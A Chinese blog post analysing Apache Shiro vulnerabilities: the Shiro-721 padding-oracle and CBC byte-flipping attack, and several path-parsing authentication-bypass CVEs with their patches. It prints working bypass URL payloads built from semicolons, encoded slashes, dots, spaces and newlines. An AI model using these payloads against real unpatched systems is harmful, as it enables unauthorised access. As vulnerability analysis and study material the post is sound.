- 攻击者修改倒数第二组密文的最后一个字节,发送到服务器,服务器解密后得到 MediumValue,将其与攻击者修改后的倒数第二组密文异或,得到 PlainText,然后对其进行 Padding 校验,此时校验大概率会失败,因为修改过的密文与 MediumValue 异或后不是原本的 Padding 了。
- 此时攻击者遍历修改倒数第二组密文的最后一个字节 ( 0x00 - 0xFF , 最多遍历 255 次 ),使其与 MediumValue 异或,直到最后一个字节异或的结果是 0x01 ,这样得到的 PlainText 是符合 Padding 规范的,攻击者期待程序返回不一样的结果进行判断。这种情况下攻击者可以知道:MediumValue 异或攻击者遍历修改倒数第二组密文的结果的最后一个字节为 0x01 ,根据异或的运算法则,MediumValue 最后一个字节就是 0x01 异或攻击者修改的字节。此时攻击者得到了
MediumValue[8]
的值。此时攻击者知道了MediumValue[8]
的值,还可以知道原倒数第二组密文最后一个字节的值,就可以计算出原PlainText[8]
的值,- 接下来攻击者遍历修改倒数第二组密文的倒数第二个字节,此时攻击者希望异或运算后得到的明文分组的最后两个字节为 0x02 0x02,这样是符合 Padding 规范的,并且由于已经计算了出了
PlainText[8]
的值,因此在这轮遍历中可以用原倒数第二组密文最后一个字节的值异或PlainText[8]
再异或 0x02 作为倒数第二组密文的最后一个字节,因为它与MediumValue[8]
的异或一定为 0x02,攻击者依旧只需要遍历第二组密文的倒数第二个字节即可。- 依次类推,可以依次计算出最后一组密文中全部的 MediumValue 及 PlainText。
- 舍弃掉最后一组密文,向服务器提交第一组至倒数第二组密文,迭代之前的操作,获得倒数第二组明文。依次规律,直到获得所有分组的明文。
看了全网,发现这部分流程还是 Epicccal 师傅的相关博客写的最为清晰。
至此,攻击者可以在不知道密钥 Key 的情况下得到全部明文的值。但这有两个前提:
- 服务器会对解密结果进行 padding 校验,并且结果可以从响应中进行判断(类似 SQL 盲注)。
- 攻击者已知能正确解密和使用的密文以及初始向量 IV。
CBC Byte-Flipping Attack
到现在已经可以使用 Padding Oracle Attack 在不知道 key 的情况下获取全部明文的值,但这仅仅是信息泄露,能不能进一步篡改信息呢?这里就用到了 CBC 字节翻转攻击。
相关原理可看这篇文章以及这篇文章。这里还是简单描述:通过修改密文进而篡改明文。
在解密时,会使用 MediumValue 与上一组密文进行异或来得到明文,现在知道上一组密文,也知道本组的明文,就能计算出本组的 MediumValue,如果想要异或出不一样的数据,我们只需要篡改上一组的密文,使其跟 MediumValue 能异或出指定的数据即可。
这是一个逆推的过程:
- 获取最后一组密文,由 Padding Oracle Attack 爆破出其 MediumValue ,根据篡改后的明文与 MediumValue 异或,得到前一轮的密文。
- 再使用计算出来的前一轮的密文继续爆破出对应的 MediumValue,再根据篡改后的明文进行异或,再得到前一轮的密文。
- 以此类推到第一组,异或出的值作为起始 IV。
拼接起始 IV 以及全部计算出的每组的密文即可获得一个可以使服务器解密为指定明文数据的密文了。
Padding Oracle Attack简单说就是通过PKCS5的给不满足长度的分组补后缀的方式来爆破出明文的内容
比如我现在构造了个全是0x00的倒数第二组密文C2,那么倒数第一组密文C1再经过解密后变为一个我们不知道的KEY(C1),此时若要最终解密完成,还要与C2进行异或操作,也就是C2^KEY(C1)。
那么由于我现在可以控制C2,也就能控制最终得到的明文,而又由于明文遵循PKCS5的填充方式,因此我们可以通过爆破让C2的最后一个字符异或KEY(C1)的最后一个字符为0x01,那么此时C2^KEY(C1) = 0x01,我们就能算出KEY(C1)的最后一个字符,然后再让C2的后两个字符异或KEY(C1) 等于0x02,我们就能得到KEY(C1)的倒数第二个字符,以此类推得到整个KEY(C1)。
那我们知道KEY(C1)异或一个真正的第二组密文得到的就是明文,那假如我们知道了真正的倒数第二组密文,就能得到最后一组密文所对应的明文
所以Padding Oracle Attack的利用条件就是
- 可以修改密文
- 已知密文和iv
CBC Byte-Flipping Attack简单来说,和Padding Oracle Attack原理差不多,唯一的差别是我们通过Padding Oracle Attack知道了KEY(C1)的值,那么我们就可以去构造恶意的C2,让最终系统解密出来的明文是我们想要的内容了
shiro721就是利用这种方式,让我们在不知道加密密钥的情况下,通过修改RememberMe使其解密后的内容成为我们反序列化的payload。反序列化的链子和550是一样的。
但是一个字节最多要爆破255次,一个分组有十六个字节,所以一个分组最多要爆破255 * 16 = 4080次,按照shiro550的payload长度,感觉最少要十几万次爆破。
漏洞修复
在 1.4.2 版本的更新 Commit-a801878 中针对此漏洞进行了修复 ,在父级类 JcaCipherService 中抽象出了一个 createParameterSpec()
方法返回加密算法对应的类。
并在 AesCipherService 中重写了这个方法,默认使用 GCM 加密模式,避免此类攻击。
CVE-2020-1957
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2020-1957 / CNVD-2020-20984 / SHIRO-682 |
影响版本 | shiro < 1.5.2 |
漏洞描述 | Spring Boot 中使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL 利用 Shiro 和 SpringBoot 对 URL 的处理的差异化,可以绕过 Shiro 对 SpringBoot 中的 Servlet 的权限控制,越权并实现未授权访问。 |
漏洞关键字 | SpringBoot | 差异化处理 | / | 绕过 |
漏洞补丁 | Commit-589f10d && Commit-9762f97 && Commit-3708d79 |
相关链接 | SHIRO-742 https://www.openwall.com/lists/oss-security/2020/03/23/2 CVE-2020-2957 -> ? |
漏洞详解
不想搭环境了,感觉路径解析的问题也没啥好分析源码的,所以就直接抄了(
SHIRO-682
本漏洞起源于 SHIRO-682,Issues 描述了在 SpingWeb 中处理 requestURI 与 shiro 中匹配鉴权路径差异导致的绕过问题:在 Spring 中,/resource/menus
与 /resource/menus/
都可以访问资源,但是在 shiro 中,这两个路径是成功匹配的,所以在 Spring 集成 shiro 时,只需要在访问路径后添加 "/" 就存在绕过权限校验的可能。
其实就是 spring 在分发请求时,会从 DispatcherServlet#handlerMappings
找到能匹配路径的 Handler,会遍历匹配路径,负责匹配的 PathPattern#match
方法对 "/admin/list/" 和 "/admin/list" 的匹配会返回 true。
绕过
除了上面的漏洞,本 CVE 通报版本号内还存在一个另一个绕过。利用的是 shiro 和 spring 对 url 中的 ";" 处理的差别来绕过校验。
然,绕过的原理就是访问 /aaaadawdadaws;/..;wdadwadadw/;awdwadwa/audit/list
这个请求的时候会被 shiro 和 spring 解析成不同的结果。
先来看下 shiro,之前提到过,shiro 会用自己处理过的 RequestURI 和配置的路径进行匹配,具体的方法就是 WebUtils#getRequestUri
,方法先调用 decodeAndCleanUriString
方法处理请求路径,再调用 normalize 方法标准化路径。decodeAndCleanUriString
方法逻辑如下,可以看到,对 URL 中存在 ";" 的处理是直接截断后面的内容。
那 Spring 是怎么处理的呢?方法是 UrlPathHelper#decodeAndCleanUriString
,方法名也叫 decodeAndCleanUriString
,你说巧不巧?其实一点也不巧,这分明就是 shiro 抄 spring 的作业。
方法里一次执行了 3 个动作:removeSemicolonContent 移除分号,decodeRequestString 解码,getSanitizedPath 清理路径,具体描述如下图:
其中出现差异的点就在于 UrlPathHelper#removeSemicolonContent
,逻辑如下图:
可以看到,spring 处理了每个 / / 之间的分号,均把 ";" 及之后的内容截取掉了。所以当请求 /aaaadawdadaws;/..;wdadwadadw/;awdwadwa/audit/list
进入到 UrlPathHelper#decodeAndCleanUriString
方法时,会逐渐被处理:
- removeSemicolonContent:"/aaaadawdadaws/..//audit/list"
- decodeRequestString:"/aaaadawdadaws/..//audit/list"
- getSanitizedPath:"/aaaadawdadaws/../audit/list"
这样再标准化就会成为正常的 "/audit/list"。
这种思路是哪里来的呢?其实又是抄了 Tomcat 的处理思想,处理逻辑位于 org.apache.catalina.connector.CoyoteAdapter#parsePathParameters
如下图
也就说,在 Tomcat 的实现下,对于访问 URL 为 "/aaaadawdadaws;/..;wdadwadadw/;awdwadwa/audit/list" 的请求,使用 request.getServletPath()
就会返回 "/audit/list"。
而由于 spring 内嵌 tomcat ,又在处理时借鉴了它的思路,所以导致 UrlPathHelper#getPathWithinServletMapping
方法其实无论如何都会返回经过上述处理逻辑过后的路径,也就是 "/audit/list"。
了解了这个处理机制后,这个路径就可以被花里胡哨的改为:
http://127.0.0.1:8080/123;/..;345/;../.;/su18/..;/;/;///////;/;/;awdwadwa/audit/list
依然可以绕过校验:
经测试,上面这个 payload 只能在较低版本的 Spring Boot 上使用。为什么呢?直接引用
Ruil1n 师傅的原文:
当 Spring Boot 版本在小于等于 2.3.0.RELEASE 的情况下,alwaysUseFullPath 为默认值 false,这会使得其获取 ServletPath ,所以在路由匹配时相当于会进行路径标准化包括对 %2e 解码以及处理跨目录,这可能导致身份验证绕过。而反过来由于高版本将 alwaysUseFullPath 自动配置成了 true 从而开启全路径,又可能导致一些安全问题。
针对这方面的内容,截止至本文发出前,先知上有师傅发出了tomcat容器url解析特性研究,对其中的相关内容进行了详述,可移步观看。
在高版本上不处理跨目录,就只能借助 shiro 一些配置问题尝试绕过:比如应用程序配置了访问路径 "/audit/**" 为 anon,但是指定了其中的一个 "/audit/list" 为 authc。这时在不跳目录的情况下,可以使用如下请求绕过:
http://127.0.0.1:8080/audit//;aaaa/;...///////;/;/;awdwadwa/list
漏洞修复
首先是针对 SHIRO-682 的修复,共提交了两次,第一次为 Commit-589f10d ,如下图,可以看到是在 PathMatchingFilter#pathsMatch
方法中添加了对访问路径后缀为 "/" 的支持。
同时在 PathMatchingFilterChainResolver#getChain
也添加了同样的逻辑。
第二次是 Commit-9762f97,是修复由于上一次提交,导致访问路径为 "/" 时抛出的异常。可以看到除了 endsWith
还添加了 equals
的判断。
然后是对使用 ";" 绕过的修复 Commit-3708d79, 可以看到 shiro 不再使用 request.getRequestURI()
来获取用户妖魔鬼怪的请求路径,而是使用 request.getContextPath()
、request.getServletPath()
、request.getPathInfo()
进行拼接,直接获取中间件处理后的内容。
CVE-2020-11989
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2020-11989 / SHIRO-782 |
影响版本 | shiro < 1.5.3 |
漏洞描述 | 由安全研究员 Ruilin 以及淚笑发现在 Apache Shiro 1.5.3 之前的版本, 将 Apache Shiro 与 Spring 动态控制器一起使用时,特制请求可能会导致身份验证绕过。 |
漏洞关键字 | Spring | 双重编码 | %25%32%66 | 绕过 | context-path | /;/ |
漏洞补丁 | Commit-01887f6 |
相关链接 | https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/ https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA |
漏洞详解
AntPathMatcher 绕过
根据腾讯玄武实验室官方给出的漏洞细节文章,本漏洞是需要几个利用条件的,接下来看一下具体的细节。
Shiro 支持 Ant 风格的路径表达式配置。ANT 通配符有 3 种,如下表:
通配符 | 说明 |
---|---|
? | 匹配任何单字符 |
* | 匹配0或者任意数量的字符 |
** | 匹配0或者更多的目录 |
在之前的测试和使用中,常见的就是 /**
之类的配置,匹配路径下的全部访问请求,包括子目录及后面的请求,如:/admin/**
可以匹配 /admin/list
以及 /admin/get/id/2
等请求。
另外一个类似的配置是 /*
,单个 *
不能跨目录,只能在两个 /
之间匹配任意数量的字符,如 /admin/*
可以匹配 /admin/list
但是不能匹配 /admin/get/id/2
。
Shiro 对于 Ant 风格路径表达式解析的支持位于 AntPathMatcher#doMatch
方法中,这里简单说一下其中的逻辑:
首先判断配置的表达式 pattern 和访问路径 path 起始是否均为 /
或均不是,如果不同则直接返回 false。
然后将 pattern 和 path 均切分为 String 类型的数组。
然后开始循环判断 pattern 和 path 对应位置的配置和路径是否有匹配,判断使用 AntPathMatcher#matchStrings
方法。
AntPathMatcher#matchStrings
方法又把字符拆分成 char 数组,来进行匹配尝试,并支持 *
以及 ?
类型的通配符的匹配。
本次漏洞涉及到的配置则是使用 *
配置。再再次重温一下 shiro 的处理逻辑:
WebUtils#getRequestUri
方法使用 request.getContextPath()/request.getServletPath()/request.getPathInfo()
获取用户请求路径,然后调用 decodeAndCleanUriString
方法解码并取出 ;
之后的内容,然后调用 normalize 标准化路径。
decodeAndCleanUriString
方法逻辑之前贴过,这里再贴一次。
而漏洞就出在此逻辑处,各位看官集中注意力,我来描述一下:
- 以前的 shiro 使用
request.getRequestURI()
获取用户请求路径,并自行处理,此时 shiro 默认Servlet 容器(中间件)不会对路径进行 URL 解码操作,通过其注释可以看到; - 在 1.5.2 版本的 shiro 更新中,为了修复 CVE-2020-1957 ,将
request.getRequestURI()
置换为了valueOrEmpty(request.getContextPath()) + "/" + valueOrEmpty(request.getServletPath()) + valueOrEmpty(request.getPathInfo());
,而对于request.getContextPath()
以及request.getPathInfo()
,以 Tomcat 为例的中间件是会对其进行 URL 解码操作的,此时 shiro 再进行decodeAndCleanUriString
,就相当于进行了两次的 URL 解码,而与之后的 Spring 的相关处理产生了差异。
这其中细节,可以查看 mi1k7ea 师傅发表在先知上的文章,我这里截取其中的一小段。
至此已经发现了 shiro 中的路径处理差异问题,由于 shiro 会二次解码路径,因此 %25%32%66
将会被 shiro 解码为 /
,而如果只解码一次, %25%32%66
只会被处理成 %2f
。
此时如果使用了单个 "*" 的通配符,将产生差异化问题,例如如下配置,配置了 /audit/*
:
此时访问 /audit/list
,/audit/aaa
之类的请求,都会被 shiro 拦截,需要进行权限校验。
但是如果访问 /audit/aa%25%32%66a
,在 shiro 处理时,会将其处理为 /audit/aa/a
,此路径并不能被 /audit/*
配置项匹配到,因此会绕过 shiro 校验。而在后续 spring 逻辑中会处理成 /audit/aa%2fa
,可能会绕过请求。
找到了差异点,接下来就要找场景了,Ruil1n 师傅找到了当 Spring 在参数中使用 PathVariable
注解从 RequestMapping 中的占位符中取数据的场景,可以满足上面的情况,如下图:
漏洞复现如下,正常访问:/audit/aaaa
会跳转至登录页面:
使用 %25%32%66
绕过,可以发现绕过:
这里还有一个限制,由 PathVariable 注解的参数只能是 String 类型,如果是其他类型的参数,将会由于类型不匹配而无法找到对应的处理方法。
ContextPath 绕过
这个绕过实际上是对上一个 CVE 思路上的延伸,在 CVE-2020-1957 中,借助了 shiro 和 spring 在获取 requestURI 时对 ;
的处理差异,以及 /../
在路径标准化中的应用,进行了权限绕过。
而这次的绕过,则是在 ContextPath 之前使用 /;/
来绕过,访问如:/;/spring/admin/aaa
路径,根据已经了解到的知识:
- shiro 会截取掉
;
之后的路径,按照/
来匹配; - spring 会把路径标准化为
/spring/admin/aaa
来匹配。
这就产生了 shiro 鉴权的路径和 spring 处理的路径不同造成的绕过。
淚笑提供了他的漏洞环境。复现如下:
同样,上面这个 payload 只能在较低版本的 Spring Boot 上使用,原因与之前提到过的一致。
漏洞修复
Shiro 在 Commit-01887f6 中提交了针对上述两个绕过的更新。
首先 shiro 回退了 WebUtils#getRequestUri
的代码,并将其标记为 @Deprecated
。并建议使用 getPathWithinApplication()
方法获取路径减去上下文路径,或直接调用 HttpServletRequest.getRequestURI()
方法获取。
其次是在 WebUtils#getPathWithinApplication
方法,修改了使用 RequestUri 去除 ContextPath 的减法思路,改为使用 servletPath + pathInfo 的加法思路。加法过后使用 removeSemicolon
方法处理分号,normalize
方法标准化路径。
getServletPath
和 getPathInfo
方法逻辑如下:
更新后,shiro 不再处理 contextPath,不会导致绕过,同时也避免了二次 URL 解码的问题。
CVE-2020-13933
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2020-13933 / CNVD-2020-46579 |
影响版本 | shiro < 1.6.0 |
漏洞描述 | Apache Shiro 由于处理身份验证请求时存在权限绕过漏洞,远程攻击者可以发送特制的 HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。 |
漏洞关键字 | Spring | 顺序 | %3b | 绕过 |
漏洞补丁 | Commit-dc194fc |
相关链接 | https://xz.aliyun.com/t/8223 |
漏洞详解
这个 CVE 实际上是对上一个 CVE 中 AntPathMatcher 绕过方式的再次绕过。
在上一个 CVE 的修复补丁中提到,Shiro 使用了 servletPath + pathInfo 的加法思路获取访问 URI。获取两者值的方法均为从 attribute 中获得对应的值,如果为空则调用 request.getXX
对应的方法进行获取,加法过后使用 removeSemicolon
方法处理分号,normalize
方法标准化路径。之前也提到过,request.getXX
方法,会进行 URL 解码操作。
这里需要注意的是处理顺序的问题,按照上述逻辑,shiro 对于路径的处理,会先 URL 解码,再处理分号,然后标准化路径。
这个顺序将会与 Spring 及 Tomcat 产生差异,之前提到过,在 UrlPathHelper#decodeAndCleanUriString
方法中,是后两者是先处理分号,再 URL 解码,然后标准化路径。
这一差异将会导致,当请求中出现了 ;
的 URL 编码 %3b
时,处理顺序的不同将会带来结果不同导致绕过:
- shiro 会 url 解码成
;
,然后截断后面的内容,进行匹配,例如/audit/aaa%3baaa
->/audit/aaa
。 - spring & tomcat 会处理成
/audit/aaa;aaa
。
两者处理后的结果不同,就造成了绕过。差异点找到了,接下来就是场景,也同样依赖 PathVariable
注解 String 类型的参数。
这里有一个点是,对于使用了 /audit/*
配置的鉴权,无法是匹配 /audit/
的。
因此,对于配置了 /audit/*
的鉴权,可以使用 /audit/%3baaa
来使 shiro 处理成 /audit/
,并结合在 spring 中 PathVariable 的场景即可实现绕过。
漏洞复现如下:
漏洞修复
本次漏洞修复位于 Commit-dc194fc 中,在这此更新中,shiro 没有改动现有的处理逻辑,而是选择了使用全局过滤和处理的方式。
Shiro 创建了一个 global 的 filter:InvalidRequestFilter
,这个类继承了 AccessControlFilter
。用来过滤和阻断有危害的请求,会返回 400 状态码,其中包括:
- 带有分号的请求;
- 带有反斜线的请求;
- 非 ASCII 字符。
这个类是根据 spring-security 中的 StrictHttpFirewall 类编写而来。
其中关键的 isAccessAllowed
方法会进行逐个校验。
shiro 将 InvalidRequestFilter
配置在 Global Filter 中。
并使其默认匹配 "/**",使其可以全局匹配进行过滤校验。
CVE-2020-17510
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2020-17510 / CNVD-2020-60318 |
影响版本 | shiro < 1.7.0 |
漏洞描述 | Apache Shiro 由于处理身份验证请求时存在权限绕过漏洞,远程攻击者可以发送特制的 HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。 |
漏洞关键字 | Spring | 编码 | %2e | 绕过 | /%2e%2e/ |
漏洞补丁 | Commit-6acaaee |
相关链接 | https://lists.apache.org/thread/12bn9ysx6ogm830stywro4pkoq8dxzfk |
漏洞详解
本漏洞还是对 AntPathMatcher 的继续绕过。之前已经尝试了 ;
的 URL 编码,/
的双重 URL 编码的绕过,都是因为 Shiro 先 url 解码再标准化和处理的逻辑与 Spring 不同导致的。
那还有什么字符的 URL 编码可能导致问题呢?常见的 URL 中还有什么字符能用呢?答案就是 .
,.
的 URL 编码为 %2e
。
当一个 %2e
出现在请求中时,会发生什么事呢?很显然,shiro 会将其当做 .
处理,而 Spring 会将其当做字符 %2e
处理。
此时如果 %2e
出现的位置正确,就可以在 shiro 处理后消失,造成差异,例如访问:"/audit/%2e/":
- Shiro url decode:"/audit/./"
- Shiro 标准化路径:"/audit/"
- Spring 标准化路径:"/audit/%2e/"
- Spring url decode:"/audit/."
由此可见,Shiro 匹配的路径和 Spring 匹配的路径相差了一个字符 ".",将造成绕过。此时依旧借助单个 "*" 的通配符以及 PathVariable
注解 String 类型的参数的场景触发漏洞。
可以使用的 payload 包括:
/%2e
/%2e/
/%2e%2e
/%2e%2e/
因为上面的写法都会被 shiro 的标准化路径处理掉,并且同时能被 PathVariable
注解 String 类型的参数匹配到。
漏洞修复
Shiro 在 Commit-6acaaee 中提交了本次漏洞的修复。
在本次修复中可以看到,Shiro 的思路再次转变,不再按照 Spring 和 Tomcat 改自己的处理代码,也不再给自己加代码来适配 Spring,而是创建了 UrlPathHelper 的子类 ShiroUrlPathHelper,并重写了 getPathWithinApplication
和 getPathWithinServletMapping
两个方法,全部使用 Shiro 自己的逻辑 WebUtils#getPathWithinApplication
进行返回。
在之前的分析中我们知道,Spring 与 Shiro 处理逻辑之间的差异就在这个位置,而现在 Shiro 直接把代码逻辑重写,通过注入自己的代码来修改 Spring 的相关逻辑,用来保证二者没有差异。究竟是怎么注入的呢?在配置类中 import 了 ShiroRequestMappingConfig
类。
ShiroRequestMappingConfig
类会向 RequestMappingHandlerMapping#urlPathHelper
设置为 ShiroUrlPathHelper
。
设置后,Spring 匹配 handler 时获取路径的逻辑就会使用 Shiro 提供的逻辑,保持了二者逻辑的一致。从而避免了绕过的情况。
注意
这里需要注意的是,Shiro 官方对这个漏洞的修复非常坑,根据官方给出的信息,Shiro 将修复放在了 shiro-spring-boot-web-starter
包中,也就是使用了 shiro-spring-boot-web-starter
进行配置的项目,升级版本才会使防御代码生效,才会注入 ShiroUrlPathHelper 。
如果你没有使用shiro-spring-boot-web-starter
自动配置,而是引入 shiro-spring
自己进行注入 Bean,单纯的升级版本是无法防御本次 CVE 的,需要:
如果不配置,将无法有效防御此 CVE。
绕过
这个修复在当时来看,如果配置正确,防御能力是 OK 的,整个思路都没问题,但是随着 Spring 自身代码的迭代,却又将安全问题暴露了出来。在高版本的 Spring 中,由于 alwaysUseFullPath
默认为 true ,导致应用程序使用 UrlPathHelper.defaultInstance
来处理,而不是 Shiro 实现的 ShiroUrlPathHelper
来处理。
这样就导致这个修复补丁又被完美的绕过了。
CVE-2020-17523
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2020-17523 / CNVD-2021-09492 |
影响版本 | shiro < 1.7.1 |
漏洞描述 | Apache Shiro 由于处理身份验证请求时存在权限绕过漏洞,远程攻击者可以发送特制的 HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。 |
漏洞关键字 | Spring | trim | %20 | 绕过 | /%20%20/ |
漏洞补丁 | Commit-ab1ea4a |
相关链接 | https://www.anquanke.com/post/id/230935 https://www.eso.org/~ndelmott/url_encode.html |
漏洞详解
继续绕过...
在使用 .
、/
、;
的 URL 编码绕过之后,这次使用的是空格的 URL 编码:%20
。
之前讲过,在匹配访问路径与配置鉴权路径时,在 AntPathMatcher#doMatch
方法中,首先会调用 org.apache.shiro.util.StringUtils#tokenizeToStringArray
方法将 pattern 以及 path 处理成 String 数组,再进行比对。
这个方法会继续调用有四个参数的重写方法,并且后两个参数的值均为 true。其实这部分也是抄的 spring 的代码。
可以看到后两个布尔类型参数的意义是对 StringTokenizer 结果的处理的标志 flag,代表是否对 token 进行 trim 操作,以及是否忽略空的 token。
因此,在被 WebUtils#getPathWithinApplication
方法处理过的 URI,再与配置路径匹配时,又会处理空格。
因此对于 "/audit/%20" 这种访问,可以理解为会被 shiro 处理成 "/audit/" 这种格式去匹配。
而 Spring 的处理逻辑,在配置了 CVE-2020-17510 的安全补丁后,虽然与 shiro 保持了一致,但是在匹配 handler 时并没有空格的处理,因此可以继续以字符串的方式匹配。
依旧是依赖单个 "*" 的通配符以及 PathVariable
注解 String 类型的参数的场景触发漏洞。复现如下,%20
随便加。
由于之前的安全修复,URL 中的非 ASCII 字符会被 filter 干掉,因此,我 FUZZ 了
%00-ff 的全部字符,发现只有 %20 能用。
漏洞修复
Shiro 在 Commit-ab1ea4a 中提交了本次漏洞的修复。
可以看到是指定了 StringUtils#tokenizeToStringArray
方法的第三个参数 trimTokens 为 false,也就是说不再去除空格,从而消除了本次漏洞的影响。
其实即使不报安全漏洞, shiro 也应该修复这个逻辑,因为 spring 本身可以支持以空格作为 RequestMapping。
而 shiro 对其处理逻辑则有问题,配置后访问将不生效。
如下:
CVE-2021-41303
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2021-41303 / SHIRO-825 |
影响版本 | shiro < 1.8.0 |
漏洞描述 | Apache Shiro 与 Spring Boot 一起使用时,远程攻击者可以发送特制的 HTTP 请求, 绕过身份验证过程并获得对应用程序的未授权访问。 |
漏洞关键字 | Spring | 回退 | /aaa/*/ | 绕过 |
漏洞补丁 | Commit-4a20bf0 |
相关链接 | [https://threedr3am.github.io/](https://threedr3am.github.io/2021/09/22/从源码diff分析Apache-Shiro 1.7.1版本的auth bypass(CVE-2021-41303)/) |
漏洞详解
在上一个版本的更新中,除了安全修复,还更新了几个逻辑,来优化对路径末尾 "/" 的情况的处理。
第一是匹配路径的方法 PathMatchingFilter#pathsMatch
,在曾经 SHIRO-682 的更新中针对这个方法进行了修改,为了兼容 Spring 对访问路径最后一个 "/" 的支持。
在本次版本更新中,添加了一层判断逻辑,即先使用原始请求判断,如果没有匹配成功,再使用去掉 "/" 的路径尝试匹配。
第二是在 PathMatchingFilterChainResolver
中新增了一个 removeTrailingSlash
方法,用来去除请求路径中的最后的 "/"。
并在 getChain
方法中更改逻辑,依旧是先使用原来的请求匹配,匹配不到再使用去除请求路径之后的 "/" 来匹配。
原本的逻辑是,拿到 URI ,直接判断最后是不是 “/”,如果是直接去掉,然后匹配和处理,但改过之后,直接拿过来匹配,如果没匹配到,再尝试去掉 “/” 在匹配,这种情况下,对于带 “/” 的请求将会匹配两次。
不但逻辑复杂了,而且还写出了 BUG。在 else 语句块中,没有将 pathPattern 给到 filterChainManager#proxy
方法,反而是将用户可控的 requestURINoTrailingSlash 给了进去。
这为什么会产生漏洞呢?这一切先从一个 BUG 说起:SHIRO-825。首先来复现一下这个 ISSUES ,我们配置如下,同样是使用单个 "*" 匹配:
chainDefinition.addPathDefinition("/audit/list", "authc");
chainDefinition.addPathDefinition("/audit/*", "anon");
可以看到,/audit/
路径下只有 list 是需要鉴权的,其他不需要。Controller 代码如下:
@Controller
@RequestMapping(value = "/audit")
public class AuditController {
@GetMapping(value = "/list")
public void list(HttpServletResponse response) throws IOException {
response.getWriter().println("you have to be auditor to view this page");
}
@GetMapping(value = "/{name}")
public void list(@PathVariable String name, HttpServletResponse response) throws IOException {
response.getWriter().println("no need auth to see this page:" + name);
}
}
此时访问 "/audit/aaa" 正常:
但是访问 "/audit/aaa/" 报错:
原因就是,shiro 会用处理过的用户请求路径去配置文件里找对应的路径,自然找不到就抛异常的。
那这个 BUG 是如何延伸成为漏洞的呢?不难想到,如果 shiro 在配置文件中找到了这个路径,那逻辑就正常了。我们再来配置一下场景,现在改为如下配置:
chainDefinition.addPathDefinition("/audit/*", "authc");
chainDefinition.addPathDefinition("/audit/list", "anon");
现在的逻辑是,配置了 /audit/*
需要认证,而 /audit/list
不需要认证,注意配置的顺序,正常逻辑下,对于 /audit/list
对应的路径,是需要鉴权的,因为他会被 /audit/*
匹配到,但是 /audit/*
不能匹配 /audit/list/
,会去掉 "/" 进行匹配,能匹配到,且在后续的逻辑中也可以找到对应的路径,就可以绕过鉴权。
漏洞修复
Shiro 在 Commit-4a20bf0 中修复了此问题。可以看到修改后正确的传入了 pathPattern。
思考
本漏洞的分析是参考了 threedr3am 师傅的博客,但存在几个疑问:
- 本 CVE 在 CVSS 3.0 获得了 9.8 的评分,CVSS 2.0 获得了 7.5 的评分,但上面的漏洞场景似乎限制很大,给不到高危。
- ISSUES 的报送者是报送 BUG,并非安全风险,而官方的通告又致谢了另外一个安全从业者。
- 我翻了所有的更新代码,确实没找到其他类似漏洞修复的地方,因为 shiro 一般修绕过的时候都会给出新的 testcase,确实没找到别的。
CVE-2022-32532
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2022-32532 |
影响版本 | shiro < 1.9.1 |
漏洞描述 | RegexRequestMatcher 在使用带有 "." 的正则时,可能会导致权限绕过 |
漏洞关键字 | RegexRequestMatcher | . | 绕过 |
漏洞补丁 | Commit-4a20bf0 |
相关链接 | CVE-2022-32532 https://lists.apache.org/thread/y8260dw8vbm99oq7zv6y3mzn5ovk90xh https://tanzu.vmware.com/security/cve-2022-22978 |
漏洞详解
此漏洞原理为 CVE-2022-22978 ,是当 RegexRequestMatcher 使用了 "." 来进行正则匹配时,导致的权限绕过。Spring Security 报了一次,跑到 shiro 里再报一次,很合理。
漏洞的成因很简单,就是 RegexRequestMatcher 默认使用的正则匹配的 "." 不会匹配换行符,因此可以使用在路径中添加换行符来绕过权限匹配。这里不再重复漏洞原理,主要是正则的使用问题,简单复现一下。
漏洞环境由漏洞报送者 4ra1n 师傅发布在 github 了,这里我们就使用他的环境。
环境中将鉴权组件配置为了自定义的 AccessControlFilter
实现类,并将 PatternMatcher 配置为了 RegExPatternMatcher,在之前的 shiro CVE 中,我们都是使用 shiro 自己默认的 AntPathMatcher 的特性来绕过鉴权。
而 org.apache.shiro.util.RegExPatternMatcher
是使用了 Pattern.compile(pattern)
来进行正则匹配。
然后将自定义的实现类配置在 SpringShiroFilter 中。
此时访问 /permit/aa
时,被正则匹配拦住:
访问 /permit/a%0aa
时,无法匹配到,绕过鉴权:
这中间差异性之前的漏洞也描述过了,不再重复。
漏洞修复
Shiro 在 Commit-6bcb92e 中修复了此问题。可以看到为 RegexRequestMatcher 默认添加了 Pattern.DOTALL
选项,并同时添加了大小写敏感的选项。
总结
能写(chao)完这篇文章首先很感谢su18师傅写的四篇关于shiro安全的博客,毕竟这东西要查重的话我的查重率估计在80%以上(
另外对于shiro的漏洞,感觉看我之后只有两种漏洞,shiro550和路径解析问题导致的权限绕过(不过CVE-2014-0074好像不属于这两种,但是我也没看
shiro550没什么好说的,很简单的链子,至于它的强化版shiro721在我看来漏洞利用实在是有点繁琐,不过GitHub似乎是有一键打的攻击。
而对于路径解析的这些漏洞,多数是由于 shiro 的处理逻辑有误,或和中间件、其他框架的处理逻辑不一致导致的安全问题,通常对各种框架和中间件的版本要求都很严格。